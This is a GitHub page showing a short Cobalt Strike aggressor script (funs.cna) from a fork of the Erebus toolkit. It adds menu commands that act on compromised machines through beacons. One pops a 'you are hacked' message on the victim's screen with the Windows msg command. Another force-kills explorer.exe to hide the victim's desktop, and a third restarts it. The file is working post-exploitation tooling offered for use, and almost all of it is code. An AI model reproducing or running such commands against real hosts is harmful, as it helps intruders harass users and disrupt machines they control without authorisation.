forked from DeEpinGh0st/Erebus
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfuns.cna
31 lines (27 loc) · 1023 Bytes
/
funs.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define functions
sub Send {
$username = replace(beacon_info($bid,"user"),' \*',"");
$msg = $3['msg'];
if(($username cmp "SYSTEM") == 0){
show_error("Cannot send message with SYSTEM !");
return;
}
bshell($bid,"msg $username \"$msg\"");
}
#append menus
menu "Funs"{
item "Chat"{
$bid = $1['@'];
$dialog = dialog("Chat", %(msg => "you are hacked ! from: ".beacon_info($bid,"user"),bid => $bid), &Send);
dialog_description($dialog, "Send a message to the host.");
drow_text_big($dialog,"msg","Message:");
dbutton_action($dialog, "Send");
dialog_show($dialog);
}
item "Hidden Desktop"{
bshell($1,"taskkill /F /IM explorer.exe");
}
item "Resume Desktop"{
brun($1, "explorer.exe");
}
}